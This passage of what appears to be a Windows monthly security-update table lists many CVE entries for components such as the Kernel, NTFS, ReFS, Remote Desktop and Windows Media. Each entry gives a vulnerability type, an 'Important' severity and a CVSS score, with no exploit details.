Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of 